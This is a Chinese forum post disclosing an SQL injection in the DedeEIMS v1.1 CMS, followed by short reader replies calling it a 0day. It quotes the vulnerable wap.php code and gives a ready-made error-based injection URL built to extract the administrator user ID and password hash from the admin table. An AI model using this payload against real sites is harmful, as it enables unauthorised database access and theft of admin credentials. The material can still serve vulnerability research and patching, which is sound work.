dedeeims v1.1 SQL Injection
前几天搞站第一次遇到,御剑的指纹识别出dedecms,但是没想到打开一看,原来是它亲戚。我操。
wap.php
......
else if($action=='list')
{
$nrow = $dsql->GetOne("Select * From `#@__arctype` where ID='$id' ");
if($nrow['ishidden']==1) exit();
$typename = ConvertStr($nrow['typename']);
$typeid = $nrow['id'];
$catcontect = '';
$userLang = $nrow['lang'];
if($nrow['ispart']==3)
{
$catcontect = html2wml($nrow['content']);
}
$trow = $dsql->GetOne("Select id,typename From `#@__arctype` where lang='$userLang' And reid=0 ");
$langname = ConvertStr($trow['typename']);
$langid = $trow['id'];
//当前栏目下级分类
$dsql->SetQuery("Select ID,typename From `#@__arctype` where reID='$id' And channeltype=1 And ishidden=0 And ispart<>2 order by sortrank");
$dsql->Execute();
while($row=$dsql->GetObject())
{
$channellistnext .= "<a href='wap.php?action=list&id={$row->ID}'>".ConvertStr($row->typename)."</a> ";
}
//栏目内容(分页输出)
$sids = GetSonIds($id,1,true);
$varlist = "cfg_webname,typename,channellist,channellistnext,cfg_templeturl";
ConvertCharset($varlist);
require_once(dirname(__FILE__)."/include/datalistcp.class.php");
$dlist = new DataListCP();
$dlist->SetTemplet($cfg_templets_dir."/wap/list.wml");
$dlist->pageSize = 10;
$dlist->SetParameter("action","list");
$dlist->SetParameter("id",$id);
$dlist->SetSource("Select ID,title,pubdate,click From `#@__archives` where typeid in($sids) And arcrank=0 order by ID desc"); //注入
$dlist->Display();
exit();
}
.......
//获得某id的所有下级id
function GetSonIds($id,$channel=0,$addthis=true)
{
global $_Cs;
$GLOBALS['idArray'] = array();
if( !is_array($_Cs) )
{
require_once(DEDEROOT."/data/cache/inc_catalog_base.inc");
}
GetSonIdsLogic($id,$_Cs,$channel,$addthis);
$rquery = join(',',$GLOBALS['idArray']);
return $rquery;
}
//递归逻辑
function GetSonIdsLogic($id,$sArr,$channel=0,$addthis=false)
{
if($id!=0 && $addthis)
{
$GLOBALS['idArray'][$id] = $id;
}
foreach($sArr as $k=>$v)
{
if( $v[0]==$id && ($channel==0 || $v[1]==$channel ))
{
GetSonIdsLogic($k,$sArr,$channel,true);
}
}
}
[url]http://10.1.1.129/DedeEIMS_1.1/wap.php?action=list&id=1[/url] or @`'`=1 and (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a from information_schema.tables group by a)b) and @`'`=0
评论43次
支持下。
谢谢楼主分享这枚dedecms
0day 支持下LZ。。。。
学xi了~
今天碰到这个xi统了.. 我记得好像t00ls有来着 来看果然有。。 感谢阿。。
上次分析过这源码...
谢谢了,可以好好看看了
dedeeims 好像是根据dede5.5 改装的
代码审计的都要赞
还没遇到过,先收着
收藏了
这个 防注入 和DEDECMS 是一样的
强势围观!
dede的亲戚- -
这是 dede 出的那款商城吧
呵呵,有意思
这个和dede名字很像啊
这个cms也是dede开发的,用于企业站. 现在好像停止开发了.不过漏洞还是有的. dedecms的一些漏洞也可用在这上面.
亲戚,呵呵·······
dede亲戚,哈哈